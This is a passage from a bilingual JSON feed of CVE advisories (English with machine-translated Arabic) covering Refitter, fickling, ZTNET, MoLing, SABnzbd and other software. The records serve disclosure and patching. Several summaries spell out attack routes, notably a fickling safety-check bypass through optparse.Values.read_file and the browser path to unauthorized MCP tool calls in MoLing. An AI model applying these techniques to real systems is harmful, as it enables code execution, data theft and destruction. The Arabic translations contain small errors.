لا يزال الحد الفاصل بين الإصدارات المتأثرة والمصححة غير محدد لعدم العثور على علامة عامة للإصدار 2.8.8، وهو ما لا يثبت حالة بناء الإصدار 2.8.8 غير المعلم."},"refs":[["https://github.com/CESNET/netopeer2/security/advisories/GHSA-25gm-4x89-7r2q","ref"],["https://github.com/CESNET/netopeer2/commit/e98beb2d4d8cc82875208bccb8e1348a8e9e95b3","ref"],["https://github.com/CESNET/netopeer2/releases/tag/2.8.21","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"cesnet-netopeer2"},{"id":"CVE-2026-63184","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","cwe":"CWE-829","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:49:06Z","product":"christianhelle refitter","affected":[],"title":{"en":"Refitter: Unrestricted OpenAPI references permit build-host SSRF and file inclusion","ar":"Refitter: مراجع OpenAPI غير المقيدة تسمح بتزوير الطلبات من جانب الخادم على مضيف الإنشاء تضمين الملفات"},"summary":{"en":"Refitter is a tool for generating a C# REST API client using the Refit library. Prior to 2.1.1, the `refitter` dotnet tool invokes `NJsonSchema` with unsafe defaults for `$ref` resolution when generating Refit interfaces and contracts from attacker-controlled or attacker-influenced OpenAPI descriptions. Remote `http(s)` references cause requests from the developer or CI host and inline untrusted remote schema content into generated output. Absolute local file paths and relative `../` traversal outside the input directory also resolve and inline local content, permitting arbitrary local-file disclosure. The demonstrated chain stops at server-side request forgery, remote file inclusion, and local file inclusion, not code execution: Refit sets the base URL at runtime, enum values use verbatim-string doubling, and string defaults are escaped. This issue is fixed in version 2.1.1.","ar":"أداة Refitter هي أداة لتوليد عميل C# REST API باستخدام مكتبة Refit. قبل الإصدار 2.1.1، تقوم أداة dotnet المعروفة بـ `refitter` استدعاء `NJsonSchema` بإعدادات افتراضية غير آمنة لحل `$ref` عند توليد واجهات وعقود Refit من وصف OpenAPI يتحكم فيه المهاجم أو يتأثر به. تؤدي مراجع `http(s)` عن بُعد إلى طلبات من المطور أو مضيف CI وتضمين محتوى مخطط عن بُعد غير موثوق به في المخرجات المولدة. كما أن مسارات الملفات المحلية المطلقة واجتياز المسار النسبي `..\\` خارج دليل الإدخال تحل وتضمن المحتوى المحلي أيضًا، مما يسمح بالكشف عن ملفات محلية عشوائية. تتوقف السلسلة المُثبتة عند تزوير الطلبات من جانب الخادم، تضمين الملفات عن بُعد، وتضمين الملفات المحلية، وليس تنفيذ الشيفرة: يقوم Refit بتعيين عنوان URL الأساسي وقت التشغيل، وتستخدم قيم تعداد الثوابت مضاعفة السلسلة الحرفية، ويتم الهروب من القيم الافتراضية للسلسلة. تم إصلاح هذه المشكلة في الإصدار 2.1.1."},"refs":[["https://github.com/christianhelle/refitter/security/advisories/GHSA-x6w4-f264-3vvr","ref"],["https://github.com/christianhelle/refitter/pull/1173","ref"],["https://github.com/christianhelle/refitter/commit/6ad20a3803561225100b0a4bb6b12f947d23db7b","ref"],["https://github.com/christianhelle/refitter/releases/tag/2.1.1","ref"],["https://github.com/user-attachments/files/29395269/reproduce.sh","ref"],["https://github.com/user-attachments/files/29395271/maintainer-report.txt","ref"],["https://github.com/user-attachments/files/29395272/advisory.md","ref"],["https://github.com/user-attachments/files/29395283/reproduce.sh","ref"],["https://github.com/user-attachments/files/29395284/maintainer-report.txt","ref"],["https://github.com/user-attachments/files/29395285/advisory.md","ref"],["https://github.com/user-attachments/files/29395286/listener.py","ref"],["https://github.com/user-attachments/files/29395288/make_spec.py","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"christianhelle-refitter"},{"id":"CVE-2026-118938","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-706","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:19:13Z","product":"trailofbits fickling","affected":[["0 – 0.1.12",null]],"title":{"en":"Fickling check_safety() bypass: dotted __qualname__ in STACK_GLOBAL resolves a class-method attribute path that evades call analysis","ar":"تجاوز فحص Fickling check_safety(): استخدام __qualname__ منقط في ST_ACK_GLOBAL يحل مسار سمة دالة الفئة متجاوزًا تحليل الاستدعاء"},"summary":{"en":"In Trail of Bits fickling through 0.1.12, a pickle STACK_GLOBAL operand carrying a dotted __qualname__ (for example \"Values.read_file\") is resolved by pickle's find_class through _getattribute to an arbitrary attribute path rather than to a module-level function. Fickling records only the leading component of the name in its import tracking and renders the operation as a plain import (for instance, 'python -m fickling' displays it as 'from optparse import Values.read_file'), so the trailing attribute reference is never analyzed as a call. The OvertlyBadEvals analysis pass does not flag it, and check_safety() returns LIKELY_SAFE with zero findings. This allows an attacker to reach a class method that performs code execution: optparse.Values.read_file executes exec(open(filename).read(), vars), achieving arbitrary code execution when the crafted pickle is loaded through fickling.load(), which chains check_safety() into pickle.loads() as an explicit security gate. optparse is present in all current CPython 3.x releases (deprecated as of Python 3.13, not removed). This weakness is in the resolution and analysis of dotted attribute-path names, and is distinct from and independently fixable from the module-origin trust weakness tracked as CVE-2026-16760: resolving or flagging dotted attribute-path imports closes this vector while leaving the module-level trust behavior unchanged. This bypass was verified to remain present on the vendor master branch at commit d011709 as of 2026-10-30, after the vendor's October blocklist additions and a new heuristic that flags private stdlib attributes; because the public class method Values.read_file is neither blocklisted nor flagged as a private attribute, it is not addressed by those remediations.","ar":"في إصدارات Trail of Bits fickling حتى 0.1.12، يتم حل معامل pickle STACK_GLOBAL الذي يحمل اسم __qualname__ منقط (مثل \"Values.read_file\") بواسطة find_class الخاص بـ pickle عبر _getattribute إلى مسار سمة عشوائي بدلاً من دالة على مستوى الوحدة النمطية. يسجل Fickling المكون الرئيسي للاسم فقط في تتبع الاستيراد الخاص به ويعرض العملية كاستيراد عادي (على سبيل المثال، يعرضها 'python -m fickling' كـ 'from optparse import Values.read_file')، لذلك لا يتم أبدًا تحليل مرجع السمة اللاحقة كاستدعاء. لا يشير تحليل OvertlyBadEvals إليها، وتهجع الدالة check_safety() عائدة بـ LIKELY_SAFE مع صفر نتائج. يسمح هذا للمهاجم بالوصول إلى طريقة فئة تقوم بتنفيذ الأوامر: يقوم optparse.Values.read_file بتنفيذ exec(open(filename).read(), vars)، مما يحقق تنفيذ شيفرة عشوائية عند تحميل ملف pickle المعدّل من خلال fickling.load()، والذي يربط check_safety() بـ pickle.loads() كبوابة أمان صريحة. إن optparse موجود في جميع إصدارات CPython 3.x الحالية (مُهمل اعتبارًا من Python 3.13، ولم تتم إزالته). يكمن هذا الضعف في دقة وتحليل أسماء مسار السمات المنقطة، وهو يختلف وقابل للإصلاح بشكل مستقل عن ضعف الثقة في أصل الوحدة النمطية المتعقب كـ CVE-2026-16760: إن حل أو الإبلاغ عن واردات مسار السمات المنقطة يغلق هذا المتجه مع إبقاء سلوك الثقة على مستوى الوحدة النمطية دون تغيير. تم التحقق من أن هذا التجاوز لا يزال موجودًا على فرع المطور الرئيسي في الالتزام d011709 اعتبارًا من 2026-10-30، بعد إضافات قائمة الحظر الخاصة بالمطور لشهر أكتوبر واستدلال جديد يحدد سمات stdlib الخاصة؛ ونظرًا لأن طريقة الفئة العامة Values.read_file ليست مدرجة في القائمة السوداء ولا يتم الإبلاغ عنها كسمة خاصة، فلا يتم معالجتها بواسطة تلك المعالجات."},"refs":[["https://bombadil.systems/advisories.html","ref"],["https://pypi.org/project/fickling/0.1.12/","ref"],["https://github.com/trailofbits/fickling","ref"],["https://github.com/trailofbits/fickling/commit/d011709","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"trailofbits-fickling"},{"id":"CVE-2026-111578","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T21:17:55Z","product":"PDF Invoices & Packing Slips for WooCommerce","affected":[["5.16.2 – <5.16.5","5.16.5"]],"title":{"en":"PDF Invoices & Packing Slips for WooCommerce 5.16.2 - 5.16.4 - Unauthenticated Stored XSS via Order Address and Customer Note Fields","ar":"إضافة PDF Invoices & Packing Slips for WooCommerce من 5.16.2 إلى 5.16.4 - ثغرة البرمجة العابرة للمواقع المخزنة (Stored XSS) دون مصادقة عبر حقول عنوان الطلب وملاحظة العميل"},"summary":{"en":"The PDF Invoices & Packing Slips for WooCommerce WordPress plugin from 5.16.2 before 5.16.5 does not properly escape several customer-supplied order fields — including the billing and shipping address values and the customer order note — before they are output in generated invoice and packing-slip documents, allowing unauthenticated users placing guest orders to store a malicious script that executes when a shop administrator views the document, leading to Stored Cross-Site Scripting.","ar":"لا تقوم إضافة WordPress المسماة PDF Invoices & Packing Slips for WooCommerce من الإصدار 5.16.2 قبل 5.16.5 بترميز العديد من حقول الطلبات المقدمة من العملاء بشكل صحيح — بما في ذلك قيم عناوين الفوترة والشحن وملاحظة طلب العميل — قبل إخراجها في مستندات الفاتورة وتعبئة القسيمة التي يتم إنشاؤها، مما يسمح للمستخدمين غير المصدقين الذين يقومون بوضع طلبات الضيوف بتخزين نص ضار يتم تنفيذه عندما يعرض مسؤول المتجر المستند، مما يؤدي إلى ثغرة البرمجة العابرة للمواقع للمواقع المخزنة (Stored XSS)."},"refs":[["https://wpscan.com/vulnerability/ac5d0074-295d-46ee-b2ad-8bfd3ef9917b/","ref"]],"epss":0.003,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pdf-invoices-packing-slips-for-woocommerce"},{"id":"CVE-2026-62967","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:15Z","product":"sinamics ztnet","affected":[],"title":{"en":"ZTNET privilege bypass: any user can deactivate arbitrary accounts via /api/auth/user/invalidateUser","ar":"تجاوز صلاحيات ZTNET: يمكن لأي مستخدم إلغاء تنشيط حسابات عشوائية عبر /api /auth /user /invalidateUser"},"summary":{"en":"ZTNET is a ZeroTier web UI for private controllers with multiuser and organization support. Prior to 0.8.0, any authenticated low-privilege user can permanently deactivate another account, including an administrator, through `POST /api/auth/user/invalidateUser`. In `src/pages/api/auth/user/invalidateUser.ts`, `getServerSession` checks only that a session exists and does not compare `session.user.id` with the client-supplied `userId`. Supplying a victim's `userId` and a `deviceId` for which no matching pair exists in `UserDevice` makes the handler set the target account's `isActive` to false. Login is then refused by `src/server/auth.ts` with `account-expired`. An attacker needs only a normal authenticated account and the victim's user ID, which may be obtainable from member lists, UI responses, logs, or other application metadata. This can lock administrators out, disrupt organization management, and deny access to any targeted user. This issue is fixed in version 0.8.0.","ar":"إن ZTNET عبارة عن واجهة ويب ZeroTier لوحدات التحكم الخاصة مع دعم تعدد المستخدمين والمؤسسات. قبل الإصدار 0.8.0، يمكن لأي مستخدم منخفض الصلاحيات ومصادق عليه إلغاء تنشيط حساب آخر بشكل دائم، بما في ذلك المسؤول، من خلال طلب `POST /api /auth /user /invalidateUser`. في الملف `src /pages /api /auth /user /invalidateUser.ts`، يتحقق `getServerSession` فقط من وجود الجلسة ولا يقارن `session.user.id` بمعرف المستخدم `userId` المقدم من العميل. يؤدي توفير معرف المستخدم الخاص بالضحية `userId` و`deviceId` الذي لا يوجد له زوج مطابق في `UserDevice` إلى قيام المعالج بتعيين `isActive` للحساب المستهدف على false. يتم رفض تسجيل الدخول بعد ذلك بواسطة `src /server /auth.ts` مع الخطأ `account-expired`. يحتاج المهاجم فقط إلى حساب عادي مصادق عليه ومعرف المستخدم الخاص بالضحية، والذي يمكن الحصول عليه من قوائم الأعضاء، أو استجابات واجهة المستخدم، أو السجلات، أو بيانات التطبيق الوصفية الأخرى. يمكن أن يؤدي هذا إلى إغلاق المسؤولين، وتعطيل إدارة المؤسسة، وحرمان أي مستخدم مستهدف من الوصول. تم إصلاح هذه المشكلة في الإصدار 0.8.0."},"refs":[["https://github.com/sinamics/ztnet/commit/7966af6e62aa5778d3a698cee97053fdcb07d742","ref"],["https://github.com/sinamics/ztnet/pull/941","ref"],["https://github.com/sinamics/ztnet/releases/tag/v0.8.0","ref"],["https://github.com/sinamics/ztnet/security/advisories/GHSA-vqfc-cmp9-c33q","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sinamics-ztnet"},{"id":"CVE-2026-62968","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-88","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:15Z","product":"arsmotorin dreamdisplays","affected":[],"title":{"en":"Dream Displays has command-line argument injection in yt-dlp invocation","ar":"يحتوي نظام Dream Displays على حقن وسائط سطر الأوامر في استدعاء yt-dlp"},"summary":{"en":"Dream Displays provides in-game screens for streaming videos in Minecraft. From 1.5.0 until 1.8.2, user-controlled input can influence arguments passed to `yt-dlp` under specific conditions. Unintended command-line options may be interpreted by `yt-dlp`, potentially altering its behavior. This issue is fixed in version 1.8.2.","ar":"يوفر Dream Displays شاشات داخل اللعبة لبث مقاطع الفيديو في Minecraft. من الإصدار 1.5.0 حتى 1.8.2، يمكن للإدخال المتحكم فيه بواسطة المستخدم التأثير على الوسائط التي يتم تمريرها إلى `yt-dlp` في ظل ظروف محددة. قد يتم تفسير خيارات سطر الأوامر غير المقصودة بواسطة `yt-dlp`، مما قد يؤدي إلى تغيير سلوكه. تم إصلاح هذه المشكلة في الإصدار 1.8.2."},"refs":[["https://github.com/arnodoelinger/dreamdisplays/blob/v1.10.0-preview.1/media/source/src/main/kotlin/com/dreamdisplays/media/source/youtube/YtDlp.kt","ref"],["https://github.com/arnodoelinger/dreamdisplays/blob/v1.10.0-preview.1/media/source/src/main/kotlin/com/dreamdisplays/media/source/youtube/process/YtDlpClientRace.kt","ref"],["https://github.com/arnodoelinger/dreamdisplays/commit/ee8702bdbebcb2eb562c8acfb55c6bc383943b94","ref"],["https://github.com/arnodoelinger/dreamdisplays/releases/tag/v1.8.2","ref"],["https://github.com/arnodoelinger/dreamdisplays/security/advisories/GHSA-5j65-hvgq-c585","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"arsmotorin-dreamdisplays"},{"id":"CVE-2026-62989","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:15Z","product":"shopperlabs shopper","affected":[],"title":{"en":"Shopper: missing variant-delete authorization permits destructive single and bulk actions","ar":"متجر Shopper: تفويض حذف المتغيرات المفقود يسمح بإجراءات مدمرة فردية وبجملتها"},"summary":{"en":"Shopper is a Headless e-commerce Admin Panel. Prior to 2.10.0, the Variants Livewire component in `packages/admin/src/Livewire/Components/Products/Form/Variants.php` exposes `DeleteAction` and `DeleteBulkAction` without server-side authorization. An authenticated staff user with `edit_products` can access `/shopper/products/{id}/edit` and obtain the signed component state even without `delete_product_variants`. The `callTableAction` and `callTableBulkAction` paths then permanently delete individual or multiple variants without checking that dedicated permission. For variant products, this can destroy the sellable catalogue and disrupt storefront product pages, cart, and checkout. This issue is fixed in version 2.10.0.","ar":"Shopper هو لوحة تحكم تجارة إلكترونية بلا واجهة أمامية (Headless). قبل الإصدار 2.10.0، يعرض مكون Variants Livewire في المسار `packages /admin /src /Livewire /Components /Products /Form /Variants.php` الإجراءين `DeleteAction` و`DeleteBulkAction` دون تفويض من جانب الخادم. يمكن لموظف مصادق عليه يمتلك الصلاحية `edit_products` الوصول إلى ` /shopper /products /{id} /edit` والحصول على حالة المكون الموقع حتى بدون امتلاك الصلاحية `delete_product_variants`. بعد ذلك، تقوم مسارات `callTableAction` و`callTableBulkAction` بحذف المتغيرات الفردية أو المتعددة بشكل دائم دون التحقق من هذا الإذن المخصص. بالنسبة للمنتجات ذات المتغيرات، يمكن أن يؤدي هذا إلى تدمير كتالوج المنتجات القابلة للبيع وتعطيل صفحات منتجات واجهة المتجر، وعربة التسوق، والدفع. تم إصلاح هذه المشكلة في الإصدار 2.10.0."},"refs":[["https://github.com/shopperlabs/shopper/commit/3c814f3b8eaf7cd2296c213bec0ce91e9f92a3f2","ref"],["https://github.com/shopperlabs/shopper/pull/573","ref"],["https://github.com/shopperlabs/shopper/releases/tag/v2.10.0","ref"],["https://github.com/shopperlabs/shopper/security/advisories/GHSA-93v2-gcw2-vfwc","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"shopperlabs-shopper"},{"id":"CVE-2026-62863","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:14Z","product":"gojue moling","affected":[],"title":{"en":"MoLing: unauthenticated SSE and wildcard CORS expose tool sessions","ar":"MoLing: بروتوكول SSE دون مصادقة وCORS ببادئة عامة يكشفان جلسات الأدوات"},"summary":{"en":"MoLing is a computer-use and browser-use based MCP server. Prior to 0.5.0, when MoLing runs in SSE mode using `-l`, its `/sse` and `/message` HTTP endpoints do not authenticate requests and the `mcp-go` dependency sets `Access-Control-Allow-Origin: *`. A malicious web page can open a cross-origin `EventSource` to `/sse`, including a loopback listener, and read the `endpoint` event to obtain `sessionId`. After a victim running SSE mode visits that page, the attacker can use the disclosed `sessionId` against `/message` to send unauthorized MCP tool calls. Depending on the configured tools, those calls can read or write local files, execute commands or perform other actions. Binding only to loopback does not prevent this browser-mediated attack. This issue is fixed in version 0.5.0.","ar":"MoLing هو خادم MCP قائم على استخدام الحاسوب والمتصفح. قبل الإصدار 0.5.0، عندما يتم تشغيل MoLing في وضع SSE باستخدام `-l`، فإن نقاط النهاية لـ HTTP ` /sse` و` /message` لا تقوم بمصادقة الطلبات وتعيين تبعية `mcp-go` القيمة `Access-Control-Allow-Origin: *`. يمكن لصفحة ويب خبيثة فتح اتصال `EventSource` عبر النطاقات إلى ` /sse`، بما في ذلك مستمع حلقة التدوير (loopback)، وقراءة حدث `endpoint` للحصول على `sessionId`. بعد زيارة ضحية تشغيل وضع SSE لتلك الصفحة، يمكن للمهاجم استخدام معرف الجلسة `sessionId` المكشوف ضد ` /message` لإرسال استدعاءات أدوات MCP غير مصرح بها. اعتمادًا على الأدوات التي تم تكوينها، يمكن لهذه الاستدعاءات قراءة أو كتابة الملفات المحلية، أو تنفيذ الأوامر أو إجراء إجراءات أخرى. ربط التطبيق بحلقة التدوير وحدها لا يمنع هذا الهجوم بوساطة المتصفح. تم إصلاح هذه المشكلة في الإصدار 0.5.0."},"refs":[["https://github.com/gojue/moling/commit/ae07f704cbc88d4419fc0fbaec278090fcd0502d","ref"],["https://github.com/gojue/moling/pull/48","ref"],["https://github.com/gojue/moling/releases/tag/v0.5.0","ref"],["https://github.com/gojue/moling/security/advisories/GHSA-qpgh-hp5g-4vwp","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"gojue-moling"},{"id":"CVE-2026-62864","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:14Z","product":"ring-clojure ring","affected":[],"title":{"en":"Ring's nested-params middleware has inefficient regular expression complexity","ar":"البرمجية الوسيطة للمتغيرات المتداخلة في Ring تمتلك تعقيد تعبير منتظم غير كفء"},"summary":{"en":"Ring is a Clojure web applications library inspired by Python's WSGI and Ruby's Rack. Prior to 1.15.5, `wrap-nested-params` in the `ring.middleware.nested-params` namespace uses a backtracking regular expression to match parameter names from URL query strings and HTTP request bodies. An attacker can craft a parameter name that drives quadratic O(n^2) matching work, causing regular-expression denial of service in applications using the middleware. `Ring-Defaults` users are also exposed because nested-params is enabled by default. Applications omitting the middleware do not expose this parsing path. This issue is fixed in version 1.15.5.","ar":"Ring هي مكتبة تطبيقات الويب بلغة Clojure مستوحاة من WSGI الخاصة بـ Python وRack الخاصة بـ Ruby. قبل الإصدار 1.15.5، تستخدم الدالة `wrap-nested-params` في نطاق الأسماء `ring.middleware.nested-params` تعبيرًا منتظمًا تراجعيًا مطابقة أسماء المعلمات من سلاسل استعلام عنوان URL وهِيب طلبات HTTP. يمكن للمهاجم صياغة اسم معامل يدفع عمل مطابقة تربيعي O(n^2)، مما يتسبب في حجب الخدمة بالتعبير المنتظم في التطبيقات التي تستخدم البرمجية الوسيطة. كما يتعرض مستخدمو `Ring-Defaults` لأن المعلمات المتداخلة ممكّنة افتراضيًا. التطبيقات التي تتخلى عن البرمجية الوسيطة لا تعرض مسار التحليل هذا. تم إصلاح هذه المشكلة في الإصدار 1.15.5."},"refs":[["https://github.com/ring-clojure/ring/commit/18738cbb8ab7504da4a5c72c9eb5fdcbf142646e","ref"],["https://github.com/ring-clojure/ring/security/advisories/GHSA-q2j3-fc6x-78jj","ref"],["https://github.com/ring-clojure/ring/tree/1.15.5","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ring-clojure-ring"},{"id":"CVE-2026-62958","cvss":7.9,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:14Z","product":"libriscv libriscv","affected":[],"title":{"en":"libriscv: Out of bounds read vuln in the ELF parser (Denial of service)","ar":"مكتبة libriscv: ثغرة قراءة خارج الحدود في محلل ELF (حجب الخدمة)"},"summary":{"en":"libriscv is a RISC-V sandbox and emulator. Prior to 1.18, a crafted ELF binary can cause out-of-bounds reads in the host emulator. `Memory<W>::binary_loader` checks `PT_LOAD` program-header bounds, but `Memory<W>::serialize_execute_segment` trusts section-header `sh_offset` and `sh_size` when locating `.text` without verifying the file range against `m_binary.size()`; `Memory<W>::lookup()` has a similar section-table problem. Malformed `.text` or `.symtab` offsets can therefore bypass the program-header checks and point outside the binary buffer, crashing rvlinux. With suitable memory layout or integer overflow, out-of-buffer host heap memory may instead be mapped into the guest by `create_execute_segment()`, potentially exposing host memory. The reported reproducer demonstrates a host SIGSEGV, while memory disclosure through grooming is described as possible rather than demonstrated. This issue is fixed in version 1.18.","ar":"libriscv هو صندوق رمل ومحاكي RISC-V. قبل الإصدار 1.18، يمكن لملف ELF مصمم خصيصًا أن يتسبب في عمليات قراءة خارج الحدود في محاكي المضيف. تتحقق الدالة `Memory<W>::binary_loader` من حدود رأس البرنامج `PT_LOAD`، ولكن `Memory<W>::serialize_execute_segment` تثق في `sh_offset` و`sh_size` الخاصة برأس القسم عند تحديد موقع `.text` دون التحقق من نطاق الملف مقابل `m_binary.size()`; وتحتوي `Memory<W>::lookup()` على مشكلة جدول أقسام مماثلة. وبالتالي، يمكن لإزاحات `.text` أو `.symtab` التالفة تجاوز عمليات التحقق من رأس البرنامج والإشارة إلى خارج مخزن الملف المؤقت، مما يؤدي إلى تعطل rvlinux. مع تخطيط الذاكرة المناسب أو تجاوز عدد صحيح، قد يتم تعيين ذاكرة كومة المضيف خارج المخزن في الضيف بواسطة `create_execute_segment()`، مما قد يكشف ذاكرة المضيف. يوضح المُعاد إنتاجه المبلغ عنه حدوث خطأ SIGSEGV للمضيف، بينما وُصفت عملية الكشف عن الذاكرة من خلال الهندسة بأنها ممكنة وليست مثبتة. تم إصلاح هذه المشكلة في الإصدار 1.18."},"refs":[["https://github.com/libriscv/libriscv/commit/61ef9ca82c8876dd80b33780893ba512af780e93","ref"],["https://github.com/libriscv/libriscv/commit/7bd1c189f9f9d54368cde096b07b194ad680f9fa","ref"],["https://github.com/libriscv/libriscv/releases/tag/v1.18","ref"],["https://github.com/libriscv/libriscv/security/advisories/GHSA-gm4g-6c78-gr3w","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"libriscv"},{"id":"CVE-2026-62965","cvss":7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:14Z","product":"sabnzbd sabnzbd","affected":[],"title":{"en":"SABnzbd: Orphan-job path traversal permits arbitrary file deletion","ar":"SABnzbd: اجتياز مسار الوظائف اليتيمة يسمح بحذف ملفات عشوائية"},"summary":{"en":"SABnzbd is an open source automated Usenet download tool. Prior to 5.1.0Beta3, orphan-job management in `sabnzbd/api.py` accepts the user-controlled `value` parameter without path confinement before `os.path.join()` with `download_dir`. An absolute path discards that base directory. An attacker with a valid API key can invoke `mode=status` with `name=delete_orphan` to reach `_api_delete_orphan` and `remove_all()` in `sabnzbd/filesystem.py`, which uses `shutil.rmtree()` for recursive deletion. The advisory also identifies `_api_add_orphan` and `_api_delete_all_orphan` as affected by the path-validation issue, while its concrete arbitrary-deletion trace is through `_api_delete_orphan`. The API key is stored in plaintext in `sabnzbd.ini`. The attacker can delete files or directories writable by the SABnzbd process, including configuration, queue data, and downloads, but system files outside the regular user's ownership are not affected. This issue is fixed in version 5.1.0Beta3.","ar":"SABnzbd هي أداة تنزيل Usenet آلية مفتوحة المصدر. قبل الإصدار 5.1.0Beta3، تقبل إدارة الوظائف اليتيمة في الملف `sabnzbd /api.py` معلمة `value` المتحكم بها من قبل المستخدم دون تقييد المسار قبل استخدام `os.path.join()` مع `download_dir`. يتجاهل المسار المطلق دليل الأساس هذا. يمكن للمهاجم الذي يمتلك مفتاح API صالحًا استدعاء `mode=status` مع `name=delete_orphan` للوصول إلى `_api_delete_orphan` و`remove_all()` في الملف `sabnzbd /filesystem.py`، والذي يتيح استخدام `shutil.rmtree()` للحذف المتكرر. يحدد التوجيه أيضًا أن `_api_add_orphan` و`_api_delete_all_orphan` متأثران بمشكلة التحقق من صحة المسار، بينما مسار الحذف العشوائي المحدد الخاص به هو عبر `_api_delete_orphan`. يتم تخزين مفتاح API بنص عادي في `sabnzbd.ini`. يمكن للمهاجم حذف الملفات أو الأدلة القابلة للكتابة بواسطة عملية SABnzbd، بما في ذلك التكوين، وبيانات قائمة الانتظار، والتنزيلات، ولكن ملفات النظام التي تقع خارج ملكية المستخدم العادي لا تتأثر. تم إصلاح هذه المشكلة في الإصدار 5.1.0Beta3."},"refs":[["https://github.com/sabnzbd/sabnzbd/commit/e3e7fcf361eaebec2d76397b3d27f854f8266410","ref"],["https://github.com/sabnzbd/sabnzbd/releases/tag/5.1.0Beta3","ref"],["https://github.com/sabnzbd/sabnzbd/security/advisories/GHSA-hxwh-mmrg-p8f5","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"sabnzbd"},{"id":"CVE-2026-58412","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:17:12Z","product":"filecoin-project filecoin-pin","affected":[],"title":{"en":"Filecoin Pin: Fork bypass in the privileged GitHub Actions workflow","ar":"Filecoin Pin: تجاوز التفرع في مسار عمل GitHub Actions الممتاز"},"summary":{"en":"Filecoin Pin is an IPFS Pinning Service API implementation that pins to Filecoin's PDP service. Prior to 1.1.0, the upload GitHub Action's fork detection in `upload-action/src/build.js` checks only `event.pull_request`. In the documented two-workflow pattern, an untrusted fork pull-request workflow produces an artifact and a privileged `workflow_run` workflow downloads and uploads it. Because `workflow_run` has no `event.pull_request`, `isForkPR` becomes false and `uploadStatus` becomes `pending-upload`. The action later resolves `workflow_run.pull_requests` without repeating the fork check before initializing the wallet with `walletPrivateKey` and uploading the artifact. An external contributor can therefore cause attacker-controlled artifacts to be stored using the repository owner's Filecoin wallet, incurring unauthorized storage expenditure, dataset pollution and consumption of configured wallet funds. Disclosure of the wallet private key is not required. The 0.x action line is not receiving a backport and must be migrated to a fixed 1.x release. This issue is fixed in version 1.1.0.","ar":"Filecoin Pin هو تنفيذ لواجهة برمجة تطبيقات خدمة تثبيت IPFS التي تقوم بالتثبيت على خدمة PDP الخاصة بـ Filecoin. قبل الإصدار 1.1.0، يقوم اكتشاف التفرع لإجراء التحميل في `upload-action /src /build.js` بالتحقق فقط من `event.pull_request`. في نمط مسار العمل الثنائي المُوثق، ينتج عن مسار عمل طلب سحب التفرع غير الموثوق به أداة مساعدة ويقوم 